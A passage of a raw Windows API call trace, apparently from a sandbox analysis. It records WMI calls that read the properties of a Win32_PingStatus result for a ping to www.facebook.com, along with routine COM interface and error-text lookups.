(bstr="__PATH") returned 0xc [0136.923] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b23c*=0, plFlavor=0x228b240*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x228b23c*=3, plFlavor=0x228b240*=64) returned 0x0 [0136.924] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b270*=0, plFlavor=0x228b274*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228b270*=8, plFlavor=0x228b274*=64) returned 0x0 [0136.924] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.924] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.924] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b2c8*=0, plFlavor=0x228b2cc*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b2c8*=8, plFlavor=0x228b2cc*=64) returned 0x0 [0136.924] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b2f0*=0, plFlavor=0x228b2f4*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228b2f0*=8, plFlavor=0x228b2f4*=64) returned 0x0 [0136.924] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.924] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.924] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b348*=0, plFlavor=0x228b34c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228b348*=8, plFlavor=0x228b34c*=64) returned 0x0 [0136.924] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0136.925] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0136.925] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b528*=0, plFlavor=0x228b52c*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x228b528*=3, plFlavor=0x228b52c*=64) returned 0x0 [0136.925] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b55c*=0, plFlavor=0x228b560*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e18*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c687c8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x228b55c*=8200, plFlavor=0x228b560*=64) returned 0x0 [0136.925] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b590*=0, plFlavor=0x228b594*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x228b590*=8, plFlavor=0x228b594*=64) returned 0x0 [0136.925] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.956] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.956] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b5dc*=0, plFlavor=0x228b5e0*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x228b5dc*=8, plFlavor=0x228b5e0*=64) returned 0x0 [0136.956] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.956] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.956] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b628*=0, plFlavor=0x228b62c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228b628*=8, plFlavor=0x228b62c*=64) returned 0x0 [0136.956] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0136.957] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0136.957] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0136.957] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0136.957] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.957] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="WriteErrorStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b864*=0, plFlavor=0x228b868*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b864*=0, plFlavor=0x228b868*=0) returned 0x80041002 [0136.957] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0136.958] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c687c8) returned 0x0 [0136.959] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687c8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0136.959] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c687c8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c687d8) returned 0x0 [0136.959] WbemStatusCodeText:IUnknown:Release (This=0x5c687c8) returned 0x0 [0136.959] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687d8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c687d8) returned 0x0 [0136.959] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687d8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0136.959] WbemStatusCodeText:IUnknown:AddRef (This=0x5c687d8) returned 0x3 [0136.959] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687d8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0136.959] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687d8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0136.959] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687d8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0136.959] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0136.959] CoGetContextToken (in: pToken=0x572de08 | out: pToken=0x572de08) returned 0x0 [0136.959] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x1, cHandles=0x1, pHandles=0x572ddf0*=0x378, lpdwindex=0x572dca8 | out: lpdwindex=0x572dca8) returned 0x80010115 [0136.960] CoGetContextToken (in: pToken=0x572d2ac | out: pToken=0x572d2ac) returned 0x0 [0136.960] CoGetContextToken (in: pToken=0x572d28c | out: pToken=0x572d28c) returned 0x0 [0136.960] CoGetContextToken (in: pToken=0x572d210 | out: pToken=0x572d210) returned 0x0 [0136.960] IUnknown:Release (This=0x5c58ef0) returned 0x2 [0136.960] IUnknown:Release (This=0x5c58ef0) returned 0x1 [0136.960] CoGetContextToken (in: pToken=0x572d210 | out: pToken=0x572d210) returned 0x0 [0136.960] WbemStatusCodeText:IUnknown:Release (This=0x5c68688) returned 0x1 [0136.960] WbemStatusCodeText:IUnknown:Release (This=0x5c68688) returned 0x0 [0137.024] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0137.024] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687d8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0137.024] WbemStatusCodeText:IUnknown:Release (This=0x5c687d8) returned 0x2 [0137.024] WbemStatusCodeText:IUnknown:Release (This=0x5c687d8) returned 0x1 [0137.024] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0137.024] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0137.025] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687d8, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c687d8) returned 0x0 [0137.025] WbemStatusCodeText:IUnknown:AddRef (This=0x5c687d8) returned 0x3 [0137.025] WbemStatusCodeText:IUnknown:Release (This=0x5c687d8) returned 0x2 [0137.025] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c687d8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0137.025] SysStringByteLen (bstr="Not found ") returned 0x14 [0137.026] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0137.026] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0137.026] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.026] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0137.026] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0137.026] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.026] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0137.026] SafeArrayGetDim (psa=0x5c78de8) returned 0x1 [0137.026] SafeArrayGetDim (psa=0x5c78de8) returned 0x1 [0137.026] SafeArrayGetLBound (in: psa=0x5c78de8, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0137.027] SysStringByteLen (bstr="__GENUS") returned 0xe [0137.027] SysStringByteLen (bstr="__GENUS") returned 0xe [0137.027] SysStringByteLen (bstr="__CLASS") returned 0xe [0137.027] SysStringByteLen (bstr="__CLASS") returned 0xe [0137.027] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0137.027] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0137.027] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0137.027] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0137.027] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0137.027] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0137.027] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0137.027] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0137.027] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0137.027] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0137.027] SysStringByteLen (bstr="__SERVER") returned 0x10 [0137.027] SysStringByteLen (bstr="__SERVER") returned 0x10 [0137.027] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0137.027] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0137.027] SysStringByteLen (bstr="__PATH") returned 0xc [0137.027] SysStringByteLen (bstr="__PATH") returned 0xc [0137.028] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228bc44*=0, plFlavor=0x228bc48*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x228bc44*=3, plFlavor=0x228bc48*=64) returned 0x0 [0137.028] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228bc78*=0, plFlavor=0x228bc7c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228bc78*=8, plFlavor=0x228bc7c*=64) returned 0x0 [0137.028] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.028] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.028] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228bcd0*=0, plFlavor=0x228bcd4*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228bcd0*=8, plFlavor=0x228bcd4*=64) returned 0x0 [0137.028] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228bcf8*=0, plFlavor=0x228bcfc*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228bcf8*=8, plFlavor=0x228bcfc*=64) returned 0x0 [0137.028] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.028] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.029] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228bd50*=0, plFlavor=0x228bd54*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228bd50*=8, plFlavor=0x228bd54*=64) returned 0x0 [0137.029] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0137.029] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0137.029] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228bf3c*=0, plFlavor=0x228bf40*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x228bf3c*=3, plFlavor=0x228bf40*=64) returned 0x0 [0137.029] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228bf70*=0, plFlavor=0x228bf74*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78db8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c68688, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x228bf70*=8200, plFlavor=0x228bf74*=64) returned 0x0 [0137.030] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228bfa4*=0, plFlavor=0x228bfa8*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x228bfa4*=8, plFlavor=0x228bfa8*=64) returned 0x0 [0137.030] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0137.030] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0137.030] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228bff0*=0, plFlavor=0x228bff4*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x228bff0*=8, plFlavor=0x228bff4*=64) returned 0x0 [0137.030] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0137.030] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0137.030] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c03c*=0, plFlavor=0x228c040*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228c03c*=8, plFlavor=0x228c040*=64) returned 0x0 [0137.030] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0137.030] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0137.030] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0137.030] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0137.030] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.030] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="WriteWarningStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c278*=0, plFlavor=0x228c27c*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228c278*=0, plFlavor=0x228c27c*=0) returned 0x80041002 [0137.030] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0137.032] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c68688) returned 0x0 [0137.032] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68688, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0137.032] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c68688, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c687c8) returned 0x0 [0137.032] WbemStatusCodeText:IUnknown:Release (This=0x5c68688) returned 0x0 [0137.032] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687c8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c687c8) returned 0x0 [0137.032] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687c8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0137.033] WbemStatusCodeText:IUnknown:AddRef (This=0x5c687c8) returned 0x3 [0137.033] 